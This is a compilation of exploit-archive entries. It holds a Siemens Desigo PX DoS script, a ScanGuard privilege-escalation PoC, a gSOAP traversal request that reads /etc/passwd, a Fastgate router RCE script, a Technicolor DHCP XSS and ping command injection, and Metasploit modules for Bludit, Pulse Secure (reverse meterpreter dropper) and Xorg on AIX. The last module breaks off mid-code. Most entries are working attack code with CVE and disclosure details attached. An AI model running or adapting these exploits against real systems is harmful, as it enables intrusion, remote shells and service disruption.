Siemens Desigo PX version 6.00 remote denial of service exploit.

MD5 | ff3cb29a406be177d92d8d565fbd8510

#!/bin/bash
#
#
# Siemens Desigo PX V6.00 Web Remote Denial of Service Exploit
#
#
# Vendor: Siemens AG
# Vendor web page: https://www.siemens.com
# Product web page: https://new.siemens.com/global/en/products/buildings/automation/desigo.html
# Affected version: Model: PXC00-E.D, PXC50-E.D, PXC100-E.D, PXC200-E.D
# With Desigo PX Web modules: PXA40-W0, PXA40-W1, PXA40-W2
# All firmware versions < V6.00.320
# ------
# Model: PXC00-U, PXC64-U, PXC128-U
# With Desigo PX Web modules: PXA30-W0, PXA30-W1, PXA30-W2
# All firmware versions < V6.00.320
# ------
# Model: PXC22.1-E.D, PXC36-E.D, PXC36.1-E.D
# With activated web server
# All firmware versions < V6.00.320
#
# Summary: Desigo PX is a modern building automation and control
# system for the entire field of building service plants. Scalable
# from small to large projects with highest degree of energy efficiency,
# openness and user-friendly operation.
#
# Desc: The device contains a vulnerability that could allow an attacker
# to cause a denial of service condition on the device's web server
# by sending a specially crafted HTTP message to the web server port
# (tcp/80). The security vulnerability could be exploited by an attacker
# with network access to an affected device. Successful exploitation
# requires no system privileges and no user interaction. An attacker
# could use the vulnerability to compromise the availability of the
# device's web service. While the device itself stays operational, the
# web server responds with HTTP status code 404 (Not found) to any further
# request. A reboot is required to recover the web interface.
#
# Tested on: HP StorageWorks MSL4048 httpd
#
# ================================================================================
# Expected result after sending the directory traversal sequence: /dir?dir=../../:
# --------------------------------------------------------------------------------
#
# $ curl http://10.0.0.17/index.htm
# 404 Not Found
#

404 Not Found


# Url '/INDEX.HTM' not found on server


#
#
# ================================================================================
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Zero Science Lab - https://www.zeroscience.mk
# @zeroscience
#
#
# Advisory ID: ZSL-2019-5542
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5542.php
#
# Vendor ID: SSA-898181
# Vendor Fix: https://support.industry.siemens.com/cs/document/109772802
# Vendor Advisory PDF: https://cert-portal.siemens.com/productcert/pdf/ssa-898181.pdf
# Vendor Advisory TXT: https://cert-portal.siemens.com/productcert/txt/ssa-898181.txt
# Vendor ACK: https://new.siemens.com/global/en/products/services/cert/hall-of-thanks.html
#
# CWE ID: CWE-472: External Control of Assumed-Immutable Web Parameter
# CWE URL: https://cwe.mitre.org/data/definitions/472.html
# CVE ID: CVE-2019-13927
# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13927
# CVSS v3.1 Base Score: 5.3
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:H/RL:O/RC:C
#
#
# 06.06.2019
#


echo -ne "n----------------------------------"
echo -ne "nSiemens Desigo PX HTTP Web RMI DoS"
echo -ne "n----------------------------------n"
if [ "$#" -ne 1 ]; then
echo -ne "nUsage: $0 [ipaddr]nn"
exit
fi
IP=$1
TARGET="http://$IP/"
PAYLOAD=`echo -ne "x64x69x72x3fx64x69x72x3dx2ex2ex2fx2ex2ex2f"`
echo -ne "n[+] Sending payload to $IP on port 80."
curl -s "$TARGET$PAYLOAD" > /dev/null
echo -ne "n[*] Done"
echo -ne "n[+] Checking if exploit was successful..."
status=$(curl -Is http://$IP/index.htm 2>/dev/null | head -1 | awk -F" " '{print $2}')
if [ "$status" == "404" ]; then
echo -ne "n[*] Exploit successful!n"
else
echo -ne "n[-] Exploit unsuccessful.n"
exit
fi

Source

MicroStrategy Library suffers from a cross site scripting vulnerability. Version 11.1.3 has the patch.

MD5 | ae60182b30ea2f69f4fd44d8dceb3454

I. VULNERABILITY
-------------------------
Reflected XSS due to lack of input filtering in MicroStrategy Library

II. CVE REFERENCE
-------------------------
Not Assigned yet

III. VENDOR
-------------------------
https://www.microstrategy.com/

IV. TIMELINE
-------------------------
05/07/2019 Vulnerability discovered
06/07/2019 Vendor contacted
06/09/2018 MicroStrategy Fix the vulnerability at the release V11.1.3

V. CREDIT
-------------------------
Alphan Yavas from Biznet Bilisim A.S.

VI. DESCRIPTION
-------------------------
Reflected XSS due to lack of input filtering in MicroStrategy Library
(before 11.1.3) which allow a remote attacker to conduct reflected
cross-site scripting attacks.

Source

Scanguard versions through 2019-11-12 on Windows has insecure permissions for the installation directory, leading to privilege escalation via a trojan horse executable file.

MD5 | 395b36711cd21e23af1e2c01cdd5e128

[+] Credits: hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/SCANGUARD-ANTIVIRUS-INSECURE-PERMISSIONS.txt
[+] ISR: ApparitionSec


[Vendor]
https://www.scanguard.com


[Product]
ScanGuard Antivirus
ScanGuard_Setup.exe Hash: 1a63c67a249da0c2e9abd09d35c3c65d

Complete Antivirus & Security Software


[Vulnerability Type]
Insecure Permissions


[CVE Reference]
CVE-2019-18895


[Affected Product Code Base]
ScanGuard Antivirus - latest


[Affected Component]
Permissions on installation directory


[Attack Type]
Local


[Impact Code execution]
true


[Impact Escalation of Privileges]
true


[Impact Information Disclosure]
true


[Attack Vectors]
Low integrity malware or non-privileged user replaces an executable to gain Admin privileges.


[Reference]
https://support.scanguard.com/en/kb/22/upgrades-available


[Security Issue]
Scanguard through 2019-11-12 on Windows has Insecure Permissions for the installation directory, leading to
privilege escalation via a Trojan horse executable file.

The product sets weak access control restrictions, as permissions are set to Full Control for Everyone group.
This can allow low integrity malware the ability to replace ScanGuard executables.


C:Program Files (x86)ScanGuardbins BUILTINUsers:(OI)(CI)(ID)F
Everyone:(OI)(CI)(ID)F
NT SERVICETrustedInstaller:(ID)F
NT SERVICETrustedInstaller:(CI)(IO)(ID)F
NT AUTHORITYSYSTEM:(ID)F


[Exploit/POC]

#include
#include
#define TARGET "C:\Program Files (x86)\ScanGuard\ScanGuard.exe"
#define DISABLED_TARGET "C:\Program Files (x86)\ScanGuard\~.conf"

/* ScanGuard EoP
PoC By hyp3rlinx */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
DWORD dwAttrib = GetFileAttributes(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){

if(!FileExists(DISABLED_TARGET)){
rename(TARGET, DISABLED_TARGET);
printf("[+] ScanGuard Antivirus EoP PoCn");
Sleep(300);
printf("[+] Disabled ScanGuard.exe ...n");
Sleep(300);
}else{
PWNED=TRUE;
}

char fname[MAX_PATH];
char newLoc[]=TARGET;

DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
if (size){
if(!PWNED){
printf("[+] Copying exploit to vuln dir...n");
Sleep(300);
CopyFile(fname, newLoc, FALSE);
printf("[+] Replaced legit ScanGuard...n");
Sleep(300);
printf("[+] Done!n");
Sleep(300);
MoveFile(fname, "c:\Program Files (x86)\ScanGuard\ScamGuard.lnk");
Sleep(2000);
exit(0);
}else{
if(FileExists("ScamGuard.lnk")){
system("DEL /f ScamGuard.lnk");
}
printf("[+] ScamGuard PWNED!!!");
printf("[+] By hyp3rlinxn");
system("pause");
}
}
}


[Disclosure Timeline]
Vendor Notification: September 16, 2019
Received vendor acknowledgement: September 16, 2019
Second contact follow up: September 29, 2019
No more vendor replies.
November 12, 2019 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

Source

gSOAP version 2.8 suffers from a directory traversal vulnerability.

MD5 | a8e3f0186592d183a1bb92002274d132

# Title: gSOAP 2.8 - Directory Traversal
# Author: Numan Türle
# Date: 2019-11-13
# Vendor Homepage: https://www.genivia.com/
# Version : gSOAP 2.8
# Software Link : https://www.genivia.com/products.html#gsoap


POC
---------

GET /../../../../../../../../../etc/passwd HTTP/1.1
Host: 10.200.106.101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Response
---------
HTTP/1.1 200 OK
Server: gSOAP/2.8
Content-Type: application/octet-stream
Content-Length: 51
Connection: close

root:$1$$qRPK7m23GJusamGpoGLby/:0:0::/root:/bin/sh

Source

Fastweb Fastgate version 0.00.81 suffers from a remote code execution vulnerability.

MD5 | 999a060c1d84fa002cedc9b1c27c3876

# Exploit Title: Fastweb Fastgate 0.00.81 - Remote Code Execution
# Date: 2019-11-13
# Exploit Author: Riccardo Gasparini
# Vendor Homepage: https://www.fastweb.it/
# Software Link: http://59.0.121.191:8080/ACS-server/file/0.00.81_FW_200_Askey (only from Fastweb ISP network)
# Version: 0.00.81
# Tested on: Linux
# CVE : N/A

import requests, json, time, sys

current_milli_time = lambda: int(round(time.time() * 1000))

password='XXXXXXXXXXXXXXX'

if password == 'XXXXXXXXXXXXXXX':
print("Password is set to XXXXXXXXXXXXXXXnOpen the script and change the password")
sys.exit(-1)

#get XSRF-TOKEN
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36',
'Referer': 'http://192.168.1.254/tr069',
}
params = ()
response = requests.get('http://192.168.1.254', headers=headers)

#login request and get sessionKey
xsrfToken=response.cookies['XSRF-TOKEN']
cookies = {
'XSRF-TOKEN': xsrfToken,
}
headers = {
'Pragma': 'no-cache',
'X-XSRF-TOKEN': xsrfToken,
'Accept-Language': 'en-US,en-GB;q=0.9,en;q=0.8,it-IT;q=0.7,it;q=0.6,es;q=0.5,de;q=0.4',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36',
'Accept': 'application/json, text/plain, */*',
'Referer': 'http://192.168.1.254/tr069',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Cache-Control': 'no-cache',
}
params = (
('_', str(current_milli_time())),
('cmd', '3'),
('nvget', 'login_confirm'),
('password', password),
('remember_me', '1'),
('sessionKey', 'NULL'),
('username', 'admin'),
)

response = requests.get('http://192.168.1.254/status.cgi', headers=headers, params=params, cookies=cookies)

jsonResponse = json.loads(response.text)
sessionKey=jsonResponse["login_confirm"]["check_session"]

print("Executing command rebootn")

#some commands as example are shown below in the mount parameter
params = (
('_', str(current_milli_time())),
('act','nvset'),
('service','usb_remove'),
#Code execution
#('mount','&ping -c 10 192.168.1.172&'),
#('mount','&dropbear -r /etc/dropbear/dropbear_rsa_host_key&'),#to enable SSH
('mount','&reboot&'),
('sessionKey', sessionKey),
)
response = requests.get('http://192.168.1.254/status.cgi', headers=headers, params=params, cookies=cookies)
print(response.text)

#logout
params = (
('_', str(current_milli_time())),
('cmd', '5'),
('nvget', 'login_confirm'),
('sessionKey', sessionKey),
)

response = requests.get('http://192.168.1.254/status.cgi', headers=headers, params=params, cookies=cookies)
print(json.dumps(json.loads(response.text), indent=2))

Source

Technicolor versions TC7300.B0 through STFA.51.20 suffer from a persistent cross site scripting vulnerability.

MD5 | e6d734937b680c58853bc34448834bf5

# Exploit Title: Technicolor TC7300.B0 - 'hostname' Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: Luis Stefan
# Vendor Homepage: https://www.technicolor.com/
# Software Link: N/A
# Version: TC7300.B0 - STFA.51.20
# Tested on: macOS Mojave and Catalina
# CVE :

#!/usr/bin/env python3
__author__ = "Luis Stefan"
__license__ = "MIT"
__version__ = "1.0"
__email__ = "luis.ss@protonmail.com"
__description__ = """CVE-2019-17524.py: This script is used to exploit a xss vulnerability found in a technicolor device."""

from enum import IntEnum
from scapy.all import *
import codecs, threading, time

# Define your network interface
interface = 'en0'
# Insert your interface card mac address
mac = 'xx:xx:xx:xx:xx:xx'
broadcast = 'ff:ff:ff:ff:ff:ff'
mac_hxd = codecs.decode(mac.replace(':', ''),'hex')

class Bootp(IntEnum):
Discover = 1
Offer = 2
Request = 3
Decline = 4
Ack = 5
Nak = 6
Release = 7

def dhcp_discover():
disc_pkt = Ether(src=mac, dst=broadcast) /
IP(src='0.0.0.0', dst='255.255.255.255') /
UDP(dport=67, sport=68) / BOOTP(chaddr=mac_hxd) /
DHCP(options=[('message-type', 'discover'), 'end'])
sendp(disc_pkt, iface=interface)

def dhcp_request(pkt):
yraddr = pkt['BOOTP'].yraddr
# gwaddr == Gateway Ip Address
gwaddr = '192.168.0.1'
param_req_list = []
hostname = "alert('XSS triggered')"
req_pkt = Ether(src=mac, dst=broadcast) /
IP(src='0.0.0.0', dst='255.255.255.255') /
UDP(dport=67, sport=68) / BOOTP(chaddr=mac_hxd) /
DHCP(options=[('message-type', 'request'), ('server_id', gwaddr),
('requested_addr', yraddr), ('hostname', hostname), 'end'])
sendp(req_pkt, iface=interface)

def dhcp(pkt):
print(pkt.display())
print("#############################################################")
if pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Offer:
dhcp_request(pkt)
elif pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Ack:
print("Server Acknowledged")
sys.exit(0)
elif pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Decline:
print("Server Declined")
sys.exit(0)
elif pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Nak:
print("Server Nak")
sys.exit(0)


def ver_dhcp():
print("Verifying DHCP port traffic..")
sniff(iface=interface, prn=dhcp, filter="port 68 and port 67", timeout=20)
sys.exit(0)


def main():
t1 = threading.Thread(target=ver_dhcp, args=())
t1.setDaemon = True
t1.start()
time.sleep(2)
dhcp_discover()


if __name__ == "__main__":
main()

Source

Technicolor TD5130.2 with firmware version OI_Fw_V20 suffers from a remote command execution vulnerability.

MD5 | eb50c7d90357c376459933aee73255f8

# Exploit Title: Technicolor TD5130.2 - Remote Command Execution
# Date: 2019-11-12
# Exploit Author: João Teles
# Vendor Homepage: https://www.technicolor.com/
# Version: TD5130v2
# Firmware Version: OI_Fw_V20
# CVE : CVE-2019-18396

---------------------------

POST /mnt_ping.cgi HTTP/1.1
Host: HOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http:/HOST/mnt_ping.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Cookie: session=COOKIE
Connection: close
Upgrade-Insecure-Requests: 1

isSubmit=1&addrType=3&pingAddr=;ls&send=Send

Source

This Metasploit module exploits a vulnerability in Bludit. A remote user could abuse the uuid parameter in the image upload feature in order to save a malicious payload anywhere onto the server, and then use a custom .htaccess file to bypass the file extension check to finally get remote code execution.

MD5 | 44b13fc33bc85981452f45311edc6929

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Report

def initialize(info={})
super(update_info(info,
'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
parameter in the image upload feature in order to save a malicious payload anywhere
onto the server, and then use a custom .htaccess file to bypass the file extension
check to finally get remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'christasa', # Original discovery
'sinn3r' # Metasploit module
],
'References' =>
[
['CVE', '2019-16113'],
['URL', 'https://github.com/bludit/bludit/issues/1081'],
['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Targets' =>
[
[ 'Bludit v3.9.2', {} ]
],
'Privileged' => false,
'DisclosureDate' => "2019-09-07",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
])
end

class PhpPayload
attr_reader :payload
attr_reader :name

def initialize(p)
@payload = p
@name = "#{Rex::Text.rand_text_alpha(10)}.png"
end
end

class LoginBadge
attr_reader :username
attr_reader :password
attr_accessor :csrf_token
attr_accessor :bludit_key

def initialize(user, pass, token, key)
@username = user
@password = pass
@csrf_token = token
@bludit_key = key
end
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php')
})

unless res
vprint_error('Connection timed out')
return CheckCode::Unknown
end

html = res.get_html_document
generator_tag = html.at('meta[@name="generator"]')
unless generator_tag
vprint_error('No generator metadata tag found in HTML')
return CheckCode::Safe
end

content_attr = generator_tag.attributes['content']
unless content_attr
vprint_error("No content attribute found in metadata tag")
return CheckCode::Safe
end

if content_attr.value == 'Bludit'
return CheckCode::Detected
end

CheckCode::Safe
end

def get_uuid(login_badge)
print_status('Retrieving UUID...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"
})

unless res
fail_with(Failure::Unknown, 'Connection timed out')
end

html = res.get_html_document
uuid_element = html.at('input[@name="uuid"]')
unless uuid_element
fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')
end

uuid_val = uuid_element.attributes['value']
unless uuid_val && uuid_val.respond_to?(:value)
fail_with(Failure::Unknown, 'No UUID value')
end

uuid_val.value
end

def upload_file(login_badge, uuid, content, fname)
print_status("Uploading #{fname}...")

data = Rex::MIME::Message.new
data.add_part(content, 'image/png', nil, "form-data; name="images[]"; filename="#{fname}"")
data.add_part(uuid, nil, nil, 'form-data; name="uuid"')
data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
'headers' => {'X-Requested-With' => 'XMLHttpRequest'},
'data' => data.to_s
})

unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
end

def upload_php_payload_and_exec(login_badge)
# From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/
# To: /var/www/html/bludit/bl-content/tmp
uuid = get_uuid(login_badge)
php_payload = get_php_payload
upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)

# On the vuln app, this line occurs first:
# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
# Even though there is a file extension check, it won't really stop us
# from uploading the .htaccess file.
htaccess = <<~HTA
RewriteEngine off
AddType application/x-httpd-php .png
HTA
upload_file(login_badge, uuid, htaccess, ".htaccess")
register_file_for_cleanup('.htaccess')

print_status("Executing #{php_payload.name}...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)
})
end

def get_php_payload
@php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))
end

def get_login_badge(res)
cookies = res.get_cookies
bludit_key = cookies.scan(/BLUDIT-KEY=(.+);/i).flatten.first || ''

html = res.get_html_document
csrf_element = html.at('input[@name="tokenCSRF"]')
unless csrf_element
fail_with(Failure::Unknown, 'No tokenCSRF found')
end

csrf_val = csrf_element.attributes['value']
unless csrf_val && csrf_val.respond_to?(:value)
fail_with(Failure::Unknown, 'No tokenCSRF value')
end

LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)
end

def do_login
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
})

unless res
fail_with(Failure::Unknown, 'Connection timed out')
end

login_badge = get_login_badge(res)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
'vars_post' =>
{
'tokenCSRF' => login_badge.csrf_token,
'username' => login_badge.username,
'password' => login_badge.password
}
})

unless res
fail_with(Failure::Unknown, 'Connection timed out')
end

# A new csrf value is generated, need to update this for the upload
if res.headers['Location'].to_s.include?('/admin/dashboard')
store_valid_credential(user: login_badge.username, private: login_badge.password)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
})

unless res
fail_with(Failure::Unknown, 'Connection timed out')
end

new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first
login_badge.csrf_token = new_csrf if new_csrf
return login_badge
end

fail_with(Failure::NoAccess, 'Authentication failed')
end

def exploit
login_badge = do_login
print_good("Logged in as: #{login_badge.username}")
upload_php_payload_and_exec(login_badge)
end
end

Source

This Metasploit module exploits a post-auth command injection in the Pulse Secure VPN server to execute commands as root. The env(1) command is used to bypass application whitelisting and run arbitrary commands. Please see related module auxiliary/gather/pulse_secure_file_disclosure for a pre-auth file read that is able to obtain plaintext and hashed credentials, plus session IDs that may be used with this exploit. A valid administrator session ID is required in lieu of untested SSRF.

MD5 | c74c7def1a1eed3c783bc01c33aa4259

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Pulse Secure VPN Arbitrary Command Execution',
'Description' => %q{
This module exploits a post-auth command injection in the Pulse Secure
VPN server to execute commands as root. The env(1) command is used to
bypass application whitelisting and run arbitrary commands.

Please see related module auxiliary/gather/pulse_secure_file_disclosure
for a pre-auth file read that is able to obtain plaintext and hashed
credentials, plus session IDs that may be used with this exploit.

A valid administrator session ID is required in lieu of untested SSRF.
},
'Author' => [
'Orange Tsai', # Discovery (@orange_8361)
'Meh Chang', # Discovery (@mehqq_)
'wvu' # Module
],
'References' => [
['CVE', '2019-11539'],
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'],
['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'],
['URL', 'https://hackerone.com/reports/591295']
],
'DisclosureDate' => '2019-04-24', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {
'BadChars' => %Q(&*(){}[]`;|?n~"'),
'Encoder' => 'generic/none' # Force manual badchar analysis
},
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
],
['Linux Dropper',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'CMDSTAGER::SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']
}
))

register_options([
OptString.new('SID', [true, 'Valid admin session ID'])
])
end

def post_auth?
true
end

def exploit
get_csrf_token

print_status("Executing #{target.name} target")

case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(
flavor: :curl,
noconcat: true
)
end
end

def get_csrf_token
@cookie = "DSID=#{datastore['SID']}"
print_good("Setting session cookie: #{@cookie}")

print_status('Obtaining CSRF token')
res = send_request_cgi(
'method' => 'GET',
'uri' => diag_cgi,
'cookie' => @cookie
)

unless res && res.code == 200 && (@csrf_token = parse_csrf_token(res.body))
fail_with(Failure::NoAccess, 'Session cookie expired or invalid')
end

print_good("CSRF token: #{@csrf_token}")
end

def parse_csrf_token(body)
body.to_s.scan(/xsauth=([[:xdigit:]]+)/).flatten.first
end

def execute_command(cmd, _opts = {})
# Prepend absolute path to curl(1), since it's not in $PATH
cmd.prepend('/home/bin/') if cmd.start_with?('curl')

# Bypass application whitelisting with permitted env(1)
cmd.prepend('env ')

vprint_status("Executing command: #{cmd}")
print_status("Yeeting exploit at #{full_uri(diag_cgi)}")
res = send_request_cgi(
'method' => 'GET',
'uri' => diag_cgi,
'cookie' => @cookie,
'vars_get' => {
'a' => 'td', # tcpdump
'options' => sploit(cmd),
'xsauth' => @csrf_token,
'toggle' => 'Start Sniffing'
}
)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Could not yeet exploit')
end

print_status("Triggering payload at #{full_uri(setcookie_cgi)}")
res = send_request_cgi({
'method' => 'GET',
'uri' => setcookie_cgi
}, 3.1337)

# 200 response code, yet 500 error in body
unless res && res.code == 200 && !res.body.include?('500 Internal Error')
print_warning('Payload execution may have failed')
return
end

print_good('Payload execution successful')

if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_line(res.body.sub(/s*.*/m, ''))
end
end

def sploit(cmd)
%(-r$x="#{cmd}",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <)
end

def diag_cgi
'/dana-admin/diag/diag.cgi'
end

def setcookie_cgi
'/dana-na/auth/setcookie.cgi'
end

end

Source

This Metasploit module has been tested with AIX 7.1 and 7.2, and should also work with 6.1. Due to permission restrictions of the crontab in AIX, this module does not use cron, and instead overwrites /etc/passwd in order to create a new user with root privileges. All currently logged in users need to be included when /etc/passwd is overwritten, else AIX will throw ‘Cannot get “LOGNAME” variable' when attempting to change user. The Xorg ‘-fp' parameter used in the OpenBSD exploit does not work on AIX, and is replaced by ‘-config', in conjuction with ANSI-C quotes to inject newlines when overwriting /etc/passwd.

MD5 | 441242f216fc75457eaee333db550449

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Post::File
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Xorg X11 Server Local Privilege Escalation',
'Description' => %q(
WARNING: Successful execution of this module results in /etc/passwd being overwritten.

This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.

A permission check flaw exists for -modulepath and -logfile options when
starting Xorg. This allows unprivileged users that can start the server
the ability to elevate privileges and run arbitrary code under root
privileges.

This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
Due to permission restrictions of the crontab in AIX, this module does not use cron,
and instead overwrites /etc/passwd in order to create a new user with root privileges.
All currently logged in users need to be included when /etc/passwd is overwritten,
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
overwriting /etc/passwd.
),
'Author' =>
[
'Narendra Shinde', # Discovery and original FreeBSD exploit
'Zack Flack ' # Metasploit module and original AIX exploit
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Oct 25 2018',
'Notes' =>
{
'SideEffects' => [ CONFIG_CHANGES ]
},
'References' =>
[
['CVE', '2018-14665'],
['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'],
['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'],
['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'],
['EDB', '45938']
],
'Platform' => ['unix'],
'Arch' => [ARCH_CMD],
'SessionTypes' => ['shell'],
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl'
}
},
'DefaultOptions' => {
'Payload' => 'cmd/unix/reverse_perl'
},
'Targets' =>
[
['IBM AIX Version 6.1', {}],
['IBM AIX Version 7.1', {}],
['IBM AIX Version 7.2', {}]
],
'DefaultTarget' => 1))

register_options(
[
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
)
end

def check
xorg_path = cmd_exec('command -v Xorg')
if !xorg_path.include?('Xorg')
print_error('Could not find Xorg executable')
return Exploit::CheckCode::Safe
end

ksh93_path = cmd_exec('command -v ksh93')
if !ksh93_path.include?('ksh')
print_error('Could not find Ksh93 executable')
return Exploit::CheckCode::Safe
end

if !xorg_vulnerable?
print_error('Xorg version is not vulnerable')
return Exploit::CheckCode::Safe
end

return Exploit::CheckCode::Appears
end

def exploit
status = check

if status == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, '')
end

if !writable?(datastore['WritableDir'])
fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")
end

xorg_path = cmd_exec('command -v Xorg')
ksh93_path = cmd_exec('command -v ksh93')

